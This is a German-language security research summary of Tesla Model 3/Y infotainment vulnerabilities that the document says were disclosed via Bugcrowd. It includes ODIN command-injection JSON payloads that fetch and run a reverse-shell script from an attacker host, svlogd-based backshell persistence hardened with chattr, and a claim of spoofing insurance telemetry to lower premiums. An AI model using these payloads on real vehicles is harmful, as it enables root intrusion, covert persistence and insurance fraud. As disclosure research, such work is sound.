
Sicherheitsforschung zu den Infotainmentsystemen von Tesla Model 3/Y. 6 Schwachstellen, 4 CVEs (CVE-2022-42005 bis CVE-2022-42008). Root-Shell, dauerhafter Zugriff, Spoofing der Versicherungstelemetrie.
Sicherheitsforschung am Infotainmentsystem des Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), verantwortungsvoll an Tesla über Bugcrowd gemeldet.
Erlangt dauerhaften Root-Zugriff auf ein produktives Tesla Model 3 durch eine Command-Injection-Schwachstelle in Teslas ODIN-Diagnoseschnittstelle (CVE-2022-42008). Von dort aus wurden fünf weitere Schwachstellen entdeckt – darunter eine Persistenzmethode, die Firmware-Updates übersteht (CVE-2022-42005, CVE-2022-42006) und eine Methode zur Manipulation der Safety-Score-Versicherungstelemetrie, die monatliche Prämien direkt von 130 $ auf 83 $ senkte.
Sechs Schwachstellen in ODIN, hermes und Safety Score. Vier CVEs. Belohnt über Bugcrowd und aufgenommen in Teslas SSH Security Researcher Programm.
| Fundstelle | CVE | Auswirkung | Status | Belohnung |
|---|---|---|---|---|
| Root-Shell über ODIN | CVE-2022-42008 | Root-Shell durch Command Injection | Behoben (2021.32.10) | Bugcrowd-Prämie |
| Abgelaufene ODIN-Tokens | CVE-2022-42007 | Token-Wiederverwendung durch NTP-Spoofing | Behoben (2021.32.10) | Bugcrowd-Prämie |
| Upload zu Mothership | — | Beliebiges Datei-Upload zu Tesla-Servern | Als N/A markiert | — |
| Log-Backshell + DV-Zugriff | CVE-2022-42005, CVE-2022-42006 | Dauerhafter Zugriff, der Firmware-Updates übersteht | Behoben | Bugcrowd-Prämie |
| Versicherungstelemetrie-Spoofing | — | Manipulierter Safety Score senkt Versicherungsprämien | Kein Fix bestätigt | — |
| Unfuse ODIN | — | Jede ODIN-Aufgabe ohne Authentifizierung | Kein Fix bestätigt | — |
Das Infotainmentsystem des Tesla Model 3/Y (Intel Atom MCU) läuft auf einem Linux-basierten Betriebssystem, bei dem im Rahmen dieser Forschung mehrere Angriffsflächen identifiziert wurden:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
Vollständige Berichte: Root-Shell über ODIN | Log-Backshell + DV-Zugriff
Die ODIN-Diagnoseschnittstelle stellt eine Aufgabe namens TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK bereit, die einen Parameter MicTest-Input akzeptiert – eine Liste von Zeichenfolgen, die direkt an CID_EXEC zur Ausführung als root übergeben werden. Jeder Abonnent mit der niedrigsten Toolbox-Zugriffsebene (tbx-external) kann diese Aufgabe auslösen, indem er sich mit dem Diagnoseport des Fahrzeugs verbindet und eine POST-Anfrage sendet. Die Eingabezeichenfolgen werden wörtlich ausgeführt, daher besteht der Angriff aus zwei Anfragen: Zunächst ein Reverse-Shell-Skript via curl auf das Fahrzeug herunterladen:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Dann ausführen:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Nachdem eine Root-Shell eingerichtet wurde, wird dauerhafter Zugriff erreicht, indem die svlogd-Protokollrotationskonfiguration übernommen wird. Der Standard-Gzip-Komprimierungsbefehl wird durch ein Skript ersetzt, das bei jeder Protokollrotation eine Backshell unter dem Benutzerkonto log öffnet:
!sh /var/log/wpa_supplicant/gzip.sh -c
Die Konfigurationsdatei wird mit chattr +i unveränderlich gemacht, sodass sie Firmware-Updates übersteht. Während das Konto log den Standardbefehl sdv nicht zum Setzen von Datenwerten verwenden kann (dbus lehnt ihn ab), bietet Teslas ruhender prototype_server uneingeschränkten Websocket-Zugriff auf alle Datenwerte, wenn er über settings.conf aktiviert wird. Ein benutzerdefinierter Satz von Shell-Skripten (sdv, lv, send.sh) emuliert einen Websocket-Client zur Interaktion mit diesem Server.
Das vollständige Persistenz-Toolkit wird über das Eingabefeld für den Zugangscode des Fahrzeugs gesteuert (sichtbar durch langes Drücken des Fahrzeugmodells auf dem Touchscreen), das von einem Listener-Skript überwacht wird, das Befehle verteilt – darunter das Öffnen von Backshells, das Setzen von Datenwerten und das Umschalten von Servicemodi.